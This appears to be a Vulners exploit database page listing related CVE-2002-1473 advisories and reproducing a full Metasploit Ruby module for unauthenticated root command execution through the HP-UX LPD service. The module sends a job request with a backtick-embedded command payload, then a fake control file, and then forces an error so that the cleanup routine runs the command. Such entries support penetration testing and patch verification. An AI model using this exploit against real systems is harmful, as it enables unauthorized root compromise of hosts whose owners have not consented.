Lucene search
K

HP-UX LPD Command Execution

🗓️ 16 Jan 2006 04:02:38Reported by hdm <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 37 Views

HP-UX LPD Command Execution, unauthorized root command execution vulnerability, silently patched buffer overflow flaw

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2002-1473
6 Oct 201000:00
circl
CVE
CVE-2002-1473
18 Mar 200305:00
cve
Cvelist
CVE-2002-1473
18 Mar 200305:00
cvelist
Exploit DB
HP-UX LPD 10.20/11.00/11.11 - Command Execution (Metasploit)
28 Aug 200200:00
exploitdb
Exploit DB
HP-UX LPD - Command Execution (Metasploit)
6 Oct 201000:00
exploitdb
EUVD
EUVD-2002-1456
7 Oct 202500:30
euvd
exploitpack
HP-UX LPD 10.2011.0011.11 - Command Execution (Metasploit)
28 Aug 200200:00
exploitpack
NVD
CVE-2002-1473
22 Apr 200304:00
nvd
Packet Storm
HP-UX LPD Command Execution
27 Oct 200900:00
packetstorm
RedhatCVE
CVE-2005-3277
21 May 202519:42
redhatcve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HP-UX LPD Command Execution',
      'Description'    => %q{
          This exploit abuses an unpublished vulnerability in the
        HP-UX LPD service. This flaw allows an unauthenticated
        attacker to execute arbitrary commands with the privileges
        of the root user. The LPD service is only exploitable when
        the address of the attacking system can be resolved by the
        target. This vulnerability was silently patched with the
        buffer overflow flaws addressed in HP Security Bulletin
        HPSBUX0208-213.
      },
      'Author'         => [ 'hdm' ],
      'References'     =>
        [
          [ 'CVE', '2002-1473'],
          [ 'OSVDB', '9638'],
          [ 'URL', 'http://archives.neohapsis.com/archives/hp/2002-q3/0064.html'],

        ],
      'Platform'       => %w{ hpux unix },
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Space'       => 200,
          'DisableNops' => true,
          'BadChars'    => "\x00\x09\x20\x2f",
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl telnet',
            }
        },
      'Targets'        =>
        [
          [ 'Automatic Target', { }]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2002-08-28'
    ))

    register_options(
      [
        Opt::RPORT(515)
      ])
  end

  def exploit

    # The job ID is squashed down to three decimal digits
    jid = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]

    # Connect to the LPD service
    connect

    print_status("Sending our job request with embedded command string...")
    # Send the job request with the encoded command
    sock.put(
      "\x02" + rand_text_alphanumeric(3) + jid +
      "`" + payload.encoded + "`\n"
    )

    res = sock.get_once(1)
    if !(res and res[0,1] == "\x00")
      print_status("The target did not accept our job request")
      return
    end

    print_status("Sending our fake control file...")
    sock.put("\x02 32 cfA" + rand_text_alphanumeric(8) + "\n")
    res = sock.get_once(1)
    if !(res and res[0,1] == "\x00")
      print_status("The target did not accept our control file")
      return
    end

    print_status("Forcing an error and hijacking the cleanup routine...")

    begin
      sock.put(rand_text_alphanumeric(16384))
      disconnect
    rescue
    end

  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
7.8High risk
Vulners AI Score7.8
CVSS 24.6
EPSS0.04429
37